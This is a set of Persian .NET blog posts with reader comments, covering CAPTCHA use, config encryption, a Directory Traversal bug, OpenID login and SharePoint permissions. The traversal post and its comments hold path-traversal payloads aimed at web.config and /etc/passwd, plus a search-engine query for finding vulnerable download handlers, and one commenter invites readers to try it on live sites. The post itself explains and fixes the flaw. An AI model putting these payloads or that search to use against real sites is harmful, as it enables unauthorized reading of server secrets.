آیا این dll اپن سورس هست؟ از کجا میشه فهمید که درون این dll کدهای مخرب وجود ندارد؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۴/۳۱ ۹:۳۶

دقت کردید در code.google.com هاست شده؟ یعنی سورس باز است.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۴/۳۱ ۹:۳۸

اگر دسترسی به گوگل کد ندارید، می‌شود از طریق NuGet نیز آن‌را دریافت کرد.

نویسنده: علیرضا اسم‌رام
تاریخ: ۱۳۹۱/۰۴/۳۱ ۹:۴۸

سلام. جهت تکمیل نظر آقای نصیری و همچنین پاسخ به شما در مورد کدهای مخرب باید عرض کنم که بیش از 200.000 سایت معتبر در مقاطع زمانی مختلف از این سرویس تا به حال بهره گرفته اند. در این لیست می‌توان به سایت‌های بزرگی چون Twitter، Facebook و eBay اشاره کرد.
جای نگرانی نیست.

نویسنده: naser
تاریخ: ۱۳۹۱/۰۵/۱۲ ۱۹:۵۸

سلام. من از این سیستم استفاده کردم . رو تست لوکال، ناقص لود میشه. با کروم و فایرفاکس هم تست کردم . قضیه چیه ؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۵/۱۲ ۲۳:۴۳

این مورد بیشتر به تداخل css کلی سایت با این کنترل مربوط می‌شود. بهترین کار استفاده از firebug است. ابتدا در برگه net آن بررسی کنید پیام 404 ایی مشاهده می‌شود؟ ممکن است چیزی از قلم افتاده باشد. سپس به وسیله firebug به صورت live شروع به ویرایش css المان انتخاب شده کنید تا به نتیجه برسید.

نویسنده: na3er
تاریخ: ۱۳۹۱/۰۵/۱۳ ۱۳:۴۳

ممنون از راهنمایی تون. مشکلم حل شد مینویسم که اگه دوستام دیگه هم به این مشکل خوردن بدونن از چیه. اولین مشکل از این بود که من به سلول‌های جدولم طول داده بودم که کمی بزرگ باشه(height) که برش داشتم و دومین مورد هم مربوط به تگ body بود که direction=rtl بود. این دو مود نباید در مورد جایی که این کنترل قرار داره اعمال بشه. ممنون استاد نصیری.

نویسنده: حسین
تاریخ: ۱۳۹۱/۰۵/۱۷ ۲۲:۳۱

سلام
دوستان من نمیتونم فایل دل ال الشو دانلود کنم، تو رو خدا فایلشو بذارین منم بردارم. با اینکه تو لاگین جی میلم هستم ازم پسورود میخاد که هر چی میزنم میگه اشتباهه ... ! با اینکه من داخل جی میلم شدم و در تب دیگه مرورگرم دارم میل هامو میخونم.
دوستان منتظرم کمکم کنید لطفا. با تشکر از مطالب مفیدتون

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۵/۱۷ ۲۲:۳۶

بالاتر توضیح دادم. از NuGet استفاده کنید. (دسترسی به گوگل کد با IP ایرانی میسر نیست؛ ولی NuGet محدودیتی ندارد)

نویسنده: پژمان
تاریخ: ۱۳۹۳/۰۲/۲۱ ۱۴:۵۲

با عرض سلام.
ببخشید من کارهایی که گفته بودیدو انجام دادم، و در کد پشت باتن enterLogin نوشتم :

```
protected void enterLogin_Click( object sender, EventArgs e )
        {
            if(Page.IsValid)
            {
                ScriptManager.RegisterStartupScript(this, GetType(), "showalert", "alert('خوش آمدید
!');", true);

            }

            ScriptManager.RegisterStartupScript(this, GetType(), "showalert", "alert('خطا !');", true);
```

CAPTCHA نمایش داده میشود اما بررسی نمیکنه که عدد وارد شده درست است یا نه؟ میشه بهم بگید مشکله کار کجاست؟

نویسنده: محسن خان
تاریخ: ۱۳۹۳/۰۲/۲۱ ۱۶:۵۶

کد شما قسمت *else* *نداره* یا حداقل اینجا نوشته نشده. بنابراین حتی اگر صفحه معتبر هم باشه، قسمت نمایش خطا اجرا میشه.

عنوان: **رمزنگاری Connection String از طریق خط فرمان**
نویسنده: سیروان عفیفی
تاریخ: ۱۳۹۱/۰۵/۰۲ ۱۹:۱۶
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, Security

برای رمز نگاری Connection String ابتدا Command Prompt را از مسیر زیر باز کنید

```
Start Menu\Programs\Microsoft Visual Studio 2010\Visual Studio Tools\Visual Studio Command Prompt
```

و سپس دستور زیر را برای رمزنگاری Connection String وارد کنید :

```
aspnet_regiis.exe -pef "connectionStrings" "sulotion path"
```

در اینجا پارامتر اول (pef) مشخص می‌کند که Application ما از نوع File System Website است،پارامتر دوم(connectionStrings) نام کلید موردنظری است که می‌خواهیم Encrypt شود،در اینجا می‌توانیم هر کلیدی را Encrypt کنیم
به عنوان مثال فرض کنید تنظیمات SMTP را در Web.Config بدین صورت داریم :

```
<system.net>
    <mailSettings>
      <smtp deliveryMethod="Network">
        <network host="smtp.gmail.com" port="587" userName="username@gmail.com" password="password" />
      </smtp>
    </mailSettings>
  </system.net>
```

برای رمزنگاری بدین صورت عمل می‌کنیم :

```
aspnet_regiis.exe -pef "system.net/mailSettings/smtp" "sulotion path"
```

و بعد از Encrypt کردن توسط دستور فوق بدین صورت در Web.Config نمایش داده می‌شود :

```
<system.net>
    <mailSettings>
      <smtp configProtectionProvider="RsaProtectedConfigurationProvider">
        <EncryptedData Type="http://www.w3.org/2001/04/xmlenc#Element"
          xmlns="http://www.w3.org/2001/04/xmlenc#">
          <EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc" />
          <KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
            <EncryptedKey xmlns="http://www.w3.org/2001/04/xmlenc#">
              <EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5" />
              <KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
                <KeyName>Rsa Key</KeyName>
              </KeyInfo>
              <CipherData>

<CipherValue>QuOFQrT6XwxDhQjFnM3EByleyWqYY6lA1cGK1Dzli/hrDOYSj35ADk4MB3PeLOMVYh76kB8vch0/iZKAZaJlNUPKi/
iZjEzE755B3sILKGLxfkH3j3qKHB0x1WN65L6zBXgzufphCVaNRobQXOl5J3E0Df8VCf/bERZu741HLPs=</CipherValue>
              </CipherData>
            </EncryptedKey>
          </KeyInfo>
          <CipherData>

<CipherValue>NdwBe0mWZ+Yg/DEzNuiDfXlGpicoH1ZMn54FTrLuVsY3rawS/k6KPID3bZvOWB/XYseTYFGhqs7FUEqIYMvWjJYYmD
Azk6dd4iv9y6ch3ZcXWQ/R5TkQLWoLQPYgdwGI3uJNs22t28xUISm1wS0uDbizCM2Io+DzSQe8N4Ih2MP9mb2NCbZ4BZEBCPvCevpSp
dEjGN9v7hk=</CipherValue>
          </CipherData>
        </EncryptedData>
      </smtp>
    </mailSettings>
  </system.net>
```

در اینجا Encryption از نوع RSAProtectedConfigurationProvider انتخاب شده است که می‌توانیم آنرا به DataProtectionConfgurationProvider تغییر دهیم که مورد اول از روش رمز نگاری کلید عمومی RSA استفاده می‌کند.
برای Decrypt کردن هم فقط کافی است پارامتر اول دستور aspnet_regiis را به pdf تغییر دهیم :

```
aspnet_regiis.exe -pdf "system.net/mailSettings/smtp" "sulotion path"
```

نظرات خوانندگان

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۵/۰۳ ۱۳:۱۲

البته خیلی‌ها دسترسی به سرور برای انجام این نوع کارها را ندارند. به همین جهت امکان انجام آن از طریق برنامه نویسی هم مهیا شده: (^)

نویسنده: صمد بلاج
تاریخ: ۱۳۹۱/۱۰/۰۸ ۹:۱۵

سلام؛من میخوام کانکشن استرینگم رو رمز نگاری کنم.
از روش EF استفاده کردم و تحت ویندوز هست آیا این روش مناسب هستش؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۱۰/۰۸ ۹:۳۹

بله. با انواع فایل‌های کانفیگ برنامه‌های دات نت سازگار است.

نویسنده: مرتضی
تاریخ: ۱۳۹۲/۰۳/۲۱ ۱۸:۴۱

سلام؛ بنده سایتم رو رویه لوکال پاپلیش کردم بعد مطالبی رو که بالا نوشته شده رو اعمال کردم و سایت رو ریختم رویه هاست.خطای ران تایم ارور میده.باید ابتدا کانکشن استرینگ رو رمز بکنم بعد عمل پاپلیش رو انجام بدم یا اینکه باید عمل دیگه ای انجام بشه.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۳/۲۱ ۲۰:۳۸

حاصل این رمزنگاری بر اساس کلیدهای موجود در کامپیوترهای مختلف متفاوت خواهد بود. بنابراین روی سرور باید رمزنگاری شود. اگر دسترسی مدیریتی دارید، روش خط فرمان مناسب است؛ اگر خیر، این روش با برنامه نویسی هم قابل اجرا است .

نویسنده: مرتضی مختاری
تاریخ: ۱۳۹۲/۰۳/۲۳ ۱۹:۲۶

سلام؛ بنده از طریق کد میخوام کانکشن استرینگ رو رمز بکنم ولی هنگام ذخیره confg.Save(ConfigurationSaveMode.Full);
خطایی میده به این عنوان
System.Security.Cryptography.CryptographicException: Object already exists
چطوری می‌تونم اصلاحش کنم.با تشکر

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۰۳/۲۳ ۲۰:۲۵

یک سری بررسی سطح دسترسی و همچنین محافظت نشده بودن ابتدا باید انجام شود:

```
var config =  ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None);
var provider = "RsaProtectedConfigurationProvider";
var connStrings = config.ConnectionStrings;
if (connStrings != null)
{
    if (!connStrings.SectionInformation.IsProtected) // اگر محافظت شده نبود
    {
```

```
        if (!connStrings.ElementInformation.IsLocked) // اگر از طرف هاست قفل نشده بود
        {
            // Protect the section.
            connStrings.SectionInformation.ProtectSection(provider);

            connStrings.SectionInformation.ForceSave = true;
            config.Save(ConfigurationSaveMode.Full);
        }
    }
}
```

نویسنده: بهاره
تاریخ: ۱۳۹۲/۰۶/۲۲ ۱۰:۳۲

سلام
اگر پروژه از نوع sharepoint 2003 باشد،آیا این روش موثر است؟

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۰۶/۲۲ ۱۱:۱۶

شیرپوینت هم یک برنامه ASP.NET است.

نویسنده: بهاره
تاریخ: ۱۳۹۲/۱۱/۱۱ ۲۲:۱۸

اگر ویندوز اپلیکیشن بود چی؟ می‌شه هم روش کامندی و هم برنامه نویسیش رو بگید؟ ممنون

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۱۱/۱۱ ۲۲:۴۷

فرقی نمی‌کنه. روش کدنویسی آن که در نظرات مطرح شده با تمام فایل‌های کانفیگ استاندارد کار می‌کند.

نویسنده: مهرداد
تاریخ: ۱۳۹۳/۰۲/۲۲ ۲:۵۶

لینکی که معرفی کردین فقط رمزنگاری رو انجام میده . برای decrypt کردن چه کاری باید انجام بدیم ؟ و اینکه بنده از EF database first استفاده میکنم . چه موقع و کجا باید این عمل encrypt و decrypt رو انجام بدم ؟ ضمن اینکه از هاست اشتراکی استفاده میکنم .
متشکرم

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۲/۲۲ ۹:۷

لازم نیست برای decrypt آن کاری انجام دهید. خودکار است. نیاز به تنظیم خاصی در برنامه ندارد.

نویسنده: خوزستان
تاریخ: ۱۳۹۴/۰۱/۱۰ ۱۶:۲۱

برای رمزنگاری باید کد بالا که فرمودین رو بصورت یک متد نوشت و آن را در Application_Start فراخوانی کرد ؟

نویسنده: محسن خان
تاریخ: ۱۳۹۴/۰۱/۱۱ ۲۰:۱

هرجایی که دوست داشتی فراخوانیش کن. هیچ فرقی نمی‌کنه. فقط مهم اینه که هر تغییری در فایل web.config سبب ری استارت برنامه میشه. بنابراین اینکار یکبار باید انجام بشه و نه بیشتر.

عنوان: **باگ Directory Traversal در سایت**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۵/۰۳ ۹:۴۴
آدرس: www.dotnettips.info
برچسب‌ها: ASP.Net, Security

من فایل‌های سایت جاری رو در مسیر استاندارد app_data ذخیره سازی می‌کنم. علت هم این است که این پوشه، جزو پوشه‌های محافظت شده‌ی ASP.NET است و کسی نمی‌تواند فایلی را مستقیما از آن دریافت و یا سبب اجرای آن با فراخوانی مسیر مرتبط در مرورگر شود.
این مساله تا به اینجا یک مزیت مهم را به همراه دارد: اگر شخصی مثلا فایل shell.aspx را در این پوشه ارسال کند، از طریق مرورگر قابل اجرا و دسترسی نخواهد بود و کسی نخواهد توانست به این طریق به سایت و سرور دسترسی پیدا کند.
برای ارائه این نوع فایل‌ها به کاربر، معمولا از روش خواندن محتوای آن‌ها و سپس flush این محتوا در مرورگر کاربر استفاده می‌شود. برای نمونه اگر به لینک‌های سایت دقت کرده باشید مثلا لینک‌های تصاویر آن به این شکل است:

http://site/file?name=image.png

Image.png نام فایلی است در یکی از پوشه‌های قرار گرفته شده در مسیر app_data.
File هم در اینجا کنترلر فایل است که نام فایل را دریافت کرده و سپس به کمک FilePathResult و return File آن‌را به کاربر ارائه خواهد داد.
تا اینجا همه چیز طبیعی به نظر می‌رسد. اما ... مورد ذیل چطور؟!

Bad file request: ~/a.s. Details...
Bad file request: ~/. Details...
Bad file request: ~/.. Details...
Bad file request: ~/ Details...
Bad file request: ~/web.config Details...
You are not allowed to upload script.sql file. Please upload only these files: .jpg,.gif,.png. Details...
Bad file request: ~/bin/myblog.zip Details...
Bad file request: ../../bin/myblog.zip Details...
Bad file request: ../../../bin/myblog.zip Details...
Bad file request: ../../../../bin/myblog.zip Details...
Bad file request: ../../../../../bin/myblog.zip Details...
Bad file request: ../../../../../../bin/myblog.zip Details...
Bad file request: ../../../../../../bin.zip Details...
Bad file request: ../../../../../bin.zip Details...
Bad file request: ../../../../bin.zip Details...
Bad file request: ../../../bin.zip Details...
Bad file request: ../../bin.zip Details...
Bad file request: ../bin.zip Details...
Bad file request: ~/bin.zip Details...
Bad file request: ~/web.config? Details...
Bad file request: ~/web.config?.jpg Details...
Bad file request: ~/web.config Details...

لاگ خطاهای فوق مرتبط است به سعی و خطای شب گذشته یکی از دوستان جهت دریافت فایل web.config برنامه!
متدهای Server.MapPath یا متد return File و امثال آن تمامی به کاراکتر ویژه ~ (اشاره‌گر به ریشه سایت) به خوبی پاسخ می‌دهند. به عبارتی اگر این بررسی امنیتی انجام نشده باشد که کاربر چه مسیری را درخواست می‌کند، محتوای کامل فایل web.config برنامه به سادگی قابل دریافت خواهد بود (به علاوه هر آنچه که در سرور موجود است).

چطور می‌شود با این نوع حملات مقابله کرد؟
دو کار الزامی ذیل حتما باید انجام شوند:
الف) با استفاده از متد Path.GetFileName نام فایل را از کاربر دریافت کنید. به این ترتیب تمام زواید وارد شده حذف گردیده و فقط نام فایل به متدهای مرتبط ارسال می‌شود.
ب) بررسی کنید مسیری که قرار است به کاربر ارائه شود به کجا ختم شده. آیا به c:\windows اشاره می‌کند یا مثلا به c:\myapp\app_data ؟
اگر به لاگ فوق دقت کرده باشید تا چند سطح بالاتر از ریشه سایت هم جستجو شده.

نتیجه گیری:

اگر در برنامه‌های وب خود (فرقی نمی‌کند مرتبط به چه فناوری است)، نام فایلی را از کاربر جهت ارائه محتوایی به او دریافت و از این نام فایل بدون هیچ نوع بررسی خاصی، مستقیما در برنامه استفاده می‌کنید، برنامه شما به مشکل امنیتی Directory Traversal مبتلا است.

پ.ن.

-1 این باگ امنیتی در سایت وجود داشت که توسط یکی از دوستان در روزهای اول آن گزارش شد؛ ضمن تشکر!

-2 از این نوع اسکن‌ها در لاگ‌های خطاهای سایت جاری زیاد است. برای مثال به دنبال فایل‌هایی مانند DynamicStyle.aspx و css.ashx یا theme.ashx می‌گردند. حدس من این است که در یکی از پرتال‌های معروف یا افزونه‌های این نوع پرتال‌ها فایل‌های یاد شده دارای باگ فوق هستند. فایل‌های ashx عموما برای flush یک فایل یا محتوا به درون مرورگر کاربر در برنامه‌های ASP.NET Web forms مورد استفاده قرار می‌گیرند.

نظرات خوانندگان

نویسنده: فربد صالحی
تاریخ: ۱۳۹۱/۰۵/۰۳ ۱۱:۱۷

تا جایی که من متوجه شدم شما در کنترلر File، اسم فایل رو دریافت می‌کنید و اون رو به مسیری داخل App_Data نگاشت میدید و بعد فایل رو از اون مسیر به کاربر return می‌کنید. اگه به این صورته سوالی واسه من پیش اومده:
همونطور که خودتون مثال زدید مهاجم ممکنه به جای اسم فایل یک مسیر مثلا ~/web.config رو به کنترلر بفرسته، خب اگه با این مسیر به صورت یک اسم برخورد بشه مثلا میشه :

```
~/App_Data/~/web.config
```

درسته؟ یعنی در این صورت هم باز از ریشه، فایل web.config برمیگرده؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۵/۰۳ ۱۱:۴۰

- این مورد چطور؟

```
var path = Server.MapPath("~/App_Data/../web.config");
```

حتما یکبار خروجی آن‌را دیباگ کنید؛ جالب است.
کاربر هم بجای مسیر یک تصویر یا فایل، مسیر زیر را وارد کرده:

```
../web.config
```

+ عرض کردم در راه‌حل‌های عنوان شده.
اولین بررسی دریافتی از کاربر باید این مورد باشد:

```
var fileName = Path.GetFileName("~/web.config");
```

و نه استفاده مستقیم از نام دریافتی از وب.
خروجی متد فوق (web.config خالی) دیگر به ریشه سایت و یا هیچ مسیری اشاره نخواهد کرد.

نویسنده: فربد صالحی
تاریخ: ۱۳۹۱/۰۵/۰۳ ۱۳:۴۵

اتفاقا خودم به استفاده از ".." توجه کردم، ولی چون تست نکردم این مورد رو ، تصورم این بود که تو سی شارپ جواب نمیده

نویسنده: رحمت اله رضایی
تاریخ: ۱۳۹۱/۰۵/۰۳ ۲۱:۴۹

هدف تست دیشب مشکل دیگری بود که در مطلبی جدا به آن خواهم پرداخت. اما برای اینکه بدانید برای این مورد اخیر چقدر بی توجهی می‌شود کافیست در گوگل صفحاتی را جستجو کنید که آدرسهایی اینگونه دارند و سعی کنید با تغییر آدرس، فایل web.config را دانلود کنید :

```
.../download.aspx?file=...
.../download.ashx?file=...
.../get.aspx?file=...
.../get.ashx?file=...
.../download.aspx?path=...
```

```
.../download.ashx?path=...
...
```

به این صورت جستجو کنید :

```
inurl:"/download.ashx?path="
```

سایتهای فارسی زیادی هم میتوانید پیدا کنید که این مشکل را دارند.

نویسنده: بهروز راد
تاریخ: ۱۳۹۱/۰۵/۰۴ ۷:۵۸

من این مشکل رو قبلاً در BlogEngine.NET دیده بودم که برطرفش کردن.

نویسنده: فرهاد یزدان پناه
تاریخ: ۱۳۹۱/۰۵/۰۴ ۱۴:۳۰

آیا ذخیره محتواهای ارسالی (فایل، تصویر و ...) در پایگاه داده بهتر نیست؟
همچنین پشتیبان گیری را راحت می‌کند.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۵/۰۴ ۱۴:۳۴

بله. همینطوره. به شرطی‌که امکانات سخت افزاری مهیا چنین اجازه‌ای رو به شما بدهد. مثلا سرور اختصاصی داشته باشید با RAM و CPU قابل قبول. به عبارتی در شبکه‌های خصوصی شرکت‌ها، نه سایت‌های عمومی با حداقل‌هایی که در اختیار دارند. یا پردازش ابری ... مثلا برای سازمان‌هایی که می‌تونند هزینه کنند یا دسترسی به این امکانات دارند.

نویسنده: محمد صاحب
تاریخ: ۱۳۹۱/۰۵/۰۴ ۱۵:۱۵

ممنونم خیلی جالب بود...
یک روش هم میتونه Encrypt کردن نام فایل باشه که البته سربار خودش رو داره...

نویسنده: فرهاد یزدان پناه
تاریخ: ۱۳۹۱/۰۵/۰۴ ۱۵:۵۳

بله در فضاهایی همچون Azure محدودیت هایی بر روی اندازه پایگاه داده و ... وجود دارد. ولی نه در هر نوع محیط ابری.
در ضمن الان شما برای جلوگیری از خیلی مسائل مجبور شدید یک Handler جهت پراکسی اطلاعات (چه ارسالی و چه دریافتی) ایجاد کنید که از خیلی لحاظ مشابه ذخیره فایل‌ها در پایگاه داده باشه.
در ضمن مگه اندازه فایل‌های ارسالی و ... چقدر است که نیازمند مقدار زیادی پردازش باشه. استفاده از مکانیزم‌های Cache موجود در asp.net هم می‌تونه کمک کنه.
حرف شما از خیلی لحاظ صحیحه و شکی در اون نیست ولی میشه به راه حل‌های دیگری هم فکر کرد.

نویسنده: رضوی
تاریخ: ۱۳۹۱/۰۵/۰۵ ۱۵:۸

سلام

باگهایی از این قبیل به باگهای **File Inclusion** معروفند که به دو دسته Remote File Inclusion و Local File Inclusion تقسیم می‌شوند و هکرها با استفاده از آنها می‌تواند به بسیاری از اطلاعات سرور دست پیدا کنند و یا بدون آپلود، شل بگیرند.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۵/۰۵ ۱۵:۵۹

البته در گزارشات متداول منتشره، هر دو عبارت به جای هم بکار برده می‌شوند و استفاده از file inclusion بیشتر برای سایت‌های PHP و لینوکسی مرسوم است؛ چیزی مثل این:

```
http://site.com/forcedownload.php?file=../../../../../../../../etc/passwd
```

نویسنده: مهدی پایروند
تاریخ: ۱۳۹۱/۰۵/۱۷ ۱۳:۵۳

بله چندتایی از این سایتها رو منم تونستم ببینم، ولی نکته جالب اینه که سایتهای غیر ایرانی این مسئله رو حل کردند

نویسنده: میثم جوادی
تاریخ: ۱۳۹۱/۰۵/۳۰ ۲۰:۳۵

یه روش دیگه واسه دانلود Web.config

عنوان: Google OpenID Authentication در ASP.NET با استفاده از DotNetOpenAuth
نویسنده: صابر فتح الهی
تاریخ: ۱۳۹۱/۰۵/۰۴ ۵:۴۷
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, C#, Security, OpenID, DotNetOpenAuth

در پست‌های قبلی OpenID چیست؟
استفاده از OpenID در وب سایت جهت احراز هویت کاربران با مفاهیم OpenID تاحدودی آشنا شدیم
در این پست می‌خواهیم با یک مثال ساده نشان دهیم که سایت ما چگونه با استفاده از OpenID Authentication می تواند از اکانت گوگل استفاده کرده و کاربر در وب سایت ما شناسایی شود.
برای اینکار ابتدا
1- کتابخانه DotNetOpenAuth را از طریق NuGet به لیست رفرنس‌های پروژه وب خود اضافه نمایید
2- یک صفحه بنام Login.aspx یا هر نام دلخواهی را به پروژه خود اضافه نمایید. در نهایت کد Html صفحه شما به ید به صورت زیر باشد.

```
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Login.aspx.cs" Inherits="OAuthWebTest.Login"
%>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
</head>
<body>
    <form id="form1" runat="server">
    <div id="loginform">
        <div id="NotLoggedIn" runat="server">
            <asp:ImageButton ID="ButtonLoginWithGoogle" runat="server" ImageUrl="Google.JPG"
                OnCommand="ButtonLoginWithGoogle_Click"
CommandArgument="https://www.google.com/accounts/o8/id" />
            <p />
            <asp:Label runat="server" ID="LabelMessage" />
        </div>
    </div>
    </form>
</body>
</html>
```

در کد Html بالا به خصوصیت CommandArgument از کنترل ImageButton دقت نمایید که دارای مقدار "https://www.google.com/accounts/o8/id" می باشد. در واقع این آدرس باید برای اکانت گوگل جهت احراز هویت توسط OpenID استفاده شود. (آدرس API گوگل برای استفاده از این سرویس)
3- در قسمت کد نویسی صفحه کدهای زیر را وارد نمایید.

```
using System;
using System.Web.UI;
using System.Web.UI.WebControls;
using DotNetOpenAuth.OpenId.RelyingParty;

namespace OAuthWebTest
{
    public partial class Login : Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            OpenIdRelyingParty openIdRelyingParty = new OpenIdRelyingParty();
            var response = openIdRelyingParty.GetResponse();
            if (response == null) return;
            switch (response.Status)
            {
                case AuthenticationStatus.Authenticated:
                    NotLoggedIn.Visible = false;
                    Session["GoogleIdentifier"] = response.ClaimedIdentifier.ToString();
                    Response.Redirect("Default.aspx");
                    break;
                case AuthenticationStatus.Canceled:
                    LabelMessage.Text = "Cancelled.";
                    break;
```

```
                case AuthenticationStatus.Failed:
                    LabelMessage.Text = "Login Failed.";
                    break;
            }
        }

        protected void ButtonLoginWithGoogle_Click(object src, CommandEventArgs e)
        {
            string discoveryUri = e.CommandArgument.ToString();
            OpenIdRelyingParty openId = new OpenIdRelyingParty();
            var returnToUrl = new UriBuilder(Request.Url) { Query = "" };
            var request = openId.CreateRequest(discoveryUri, returnToUrl.Uri, returnToUrl.Uri);
            request.RedirectToProvider();
        }
    }
}
```

همانگونه که مشاهده می‌کنید در رویداد کلیک دکمه لوگین ابتدا آدرس یکتا گوگل (مقدار ImageButton اختصاص داده شده به کنترل CommandArgument) به همراه آدرس صفحه جاری وب سایت توسط متد CreateRequest از شی openId ترکیب شده و یک درخواست (Request) ساخته شده و در نهایت برای سرویس دهنده گوگل ارسال می‌شود. با اجرای پروژه با تصویر زیر روبرو می‌شوید بروی کلید لوگین کلیک نمایید.

در واقع با کلیک روی دکمه مورد نظر تکه کدی که در بالا شرح داده شد اجرا شده و ما را به صفحه ای شبیه تصویر پایین هدایت می‌کند

در صورتی که کلید Sign In انتخاب شود شما به سایت (همین برنامه) اجازه داده اید که از اطلاعات حساب کاربری شما استفاده کند. پس از کلیک به برنامه اصلی (طبق آدرس بازگشت تعیین شده در رویداد ButtonLoginWithGoogle_Click) در رویداد PageLoad صفحه لاگین اطلاعات بازگشتی از سایت سرویس دهنده (در اینجا گوگل) چک می‌شود و با توجه با پاسخ مورد نظر عملیاتی انجام می‌شود، مثلا در صورتی که شما تایید کرده باشید اطلاعات شناسایی شما توسط گوگل در کلیدی به نام GoogleIdentifier در سشن ذهیره شده و شما به صفحه اصلی سایت هدایت می‌شوید.

دموی پروژه در این آدرس قرار داده شده است.

سورس پروژه از این آدرس قابل دسترسی است.

توجه: در این آدرس شرح داده شده که چگونه دسترسی سایت‌های دیگر به اکانت گوگل خود را قطع کنید

در پست‌های آینده اتصال به تویتر و ف ی س بوک و سایت‌های دیگر توضیح داده خواهد شد.

نظرات خوانندگان

نویسنده: مجتبی چنانی
تاریخ: ۱۳۹۱/۰۵/۰۴ ۹:۰

با سلام و تشکر از پست خوبتون

در زمانی که ما از سیستم‌های ورود و ثبت کاربران شرکت‌های دیگر استفاده می‌کنیم آیا می‌توانیم لاگ گرفته یا اینکه برای خودمان یک صفحه داشته باشیم تا ورود و خروج‌های اکانت‌های درون وبسایتمان را بررسی کنیم یا اینکه خودمان باید این بخش را کدنویسی کنیم؟

یک سئوال دیگر این است که زمانی که از openid های شرکت‌های دیگه استفاده می‌کنیم فقط احراز هویت را از این سرویس‌ها دریافت می‌کنیم یا اینکه در همه صفحات و دیگر کارهای کاربر نظارت به صورت خودکار انجام می‌شود یا اینکه باز هم باید کدنویسی کنیم؟

نویسنده: صابر فتح اللهی
تاریخ: ۱۳۹۱/۰۵/۰۴ ۱۴:۹

در صورتی که بخواهید لاگ بندازید باید خود کد نویسی کرده و در دیتابیس ذخیره کنید
بله می‌توان در هر صفحه با استفاده از کلیدی که در سشن کاربر ذخیره کرده اید (با توجه به اینکه سشن کاربران جداست) می‌توانید وجود کاربر را چک کنید

نویسنده: سینا علیزاده
تاریخ: ۱۳۹۲/۰۹/۰۳ ۱۳:۲۹

آقا عالی بود ممنون
میشه برای facebook و توییتر هم بزارید ، واقعا بهش نیاز دارم ممنون میشم
کارتون عالیه موفق باشید

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۰۹/۰۳ ۱۳:۳۵

نگاهی هم به پروژه DotNetAuth داشته باشید.

نویسنده: دادخواه
تاریخ: ۱۳۹۲/۱۰/۱۶ ۱۱:۳۱

سلام.

این سرویس چطوری برای اکانت‌های یاهو کار می‌کنه؟

عنوان: **آشنایی با Permission Level ها در شیرپوینت 2010**
نویسنده: محمد باقر سیف اللهی
تاریخ: ۱۳۹۱/۰۷/۲۱ ۲۰:۲۰
آدرس: www.dotnettips.info
برچسب‌ها: Security, SharePoint

شیرپوینت به شما به عنوان یک Farm Admin امکان مدیریت نقش‌ها و سطوح امنیتی را در سطح بسیار جزء می‌دهد. به این معنا که می‌توانید یک کاربر را در یک سایت در نقش مدیر و مالک آن سایت انتصاب داده و در سایتی دیگر به همان شخص امکان خواندن از فقط یک لیست خاص را بدهید . در این پست با جزییات بیشتری در باب ایجاد و مدیریت افراد در گروه‌ها آشنا می‌شویم

پس از نصب شیرپوینت ، لیستی مانند زیر به عنوان Permission Levelها برای شما نمایش داده می‌شود :

برای مشاهده این سطوح در سایت خود می‌توانید به منوی Site Action رفته و گزینه Site Permission را انتخاب کنید .

به طور کل ، سه مورد از موارد فوق استفاده بیشتری از بقیه دارند : Contribute ، Full Control و Read .

(برای مثال Design سطحی بین Full Control و Contribute است)

در سطح Read ، کاربر میتواند فقط برای استفاده در حد خواندن از محتوا به آن دسترسی داشته باشد

در سطح Contribute ، کاربر میتواند در حد انجام عملیات CRUD روی یک لیست یا کتابخانه موجود دسترسی داشته باشد (امکان تعریف کتابخانه یا لیست جدیدی را ندارد)

در سطح Full Control ، کاربر امکان انجام هر گونه عملیاتی را دارد .

اما این موارد خود می‌تواند در حد یک لیست باشد و یا در حد یک Site Collection . علاوه بر موارد فوق نقش‌های دیگری هم هستند مانند Farm Administrator که به دلیل استفاده کمتر از آن‌ها در اینجا راجع به آن صحبت نمی‌کنم . چرا که این نقش‌ها تقریبا یکتا و Unique بوده و فقط برای تعدادی محدود از افراد در قالب یک سازمان تعریف می‌شود .

هنگامی که یک Site Collection ایجاد میشود شیرپوینت 3 گروه امنیتی یا Security Group ایجاد میکند : Owners و Members و Visitors .

متناسب با 3 سطح تعریف شده در بالا ، Owners دارای سطح Full Control و Members دارای سطح Contribute و Visitors دارای سطح Read هستند .

(تصویر زیر می‌تواند گویای این مسئله باشد)

☐	Organization Members	SharePoint Group	Contribute, Limited Access
☐	Organization Owners	SharePoint Group	Full Control, Limited Access
☐	Organization Visitors	SharePoint Group	Read

اگر شما برای سایت خود یک Sub Site تعریف کنید ، دقیقا همان ویژگی‌های امنیتی برای آن نیز نمایش داده می‌شوند و اصطلاحا از والد ارث بری کرده است . البته به شما امکان لغو این ارث بری نیز داده می‌شود در این صورت باید خود مدیریت آنها را به عهده بگیرید .

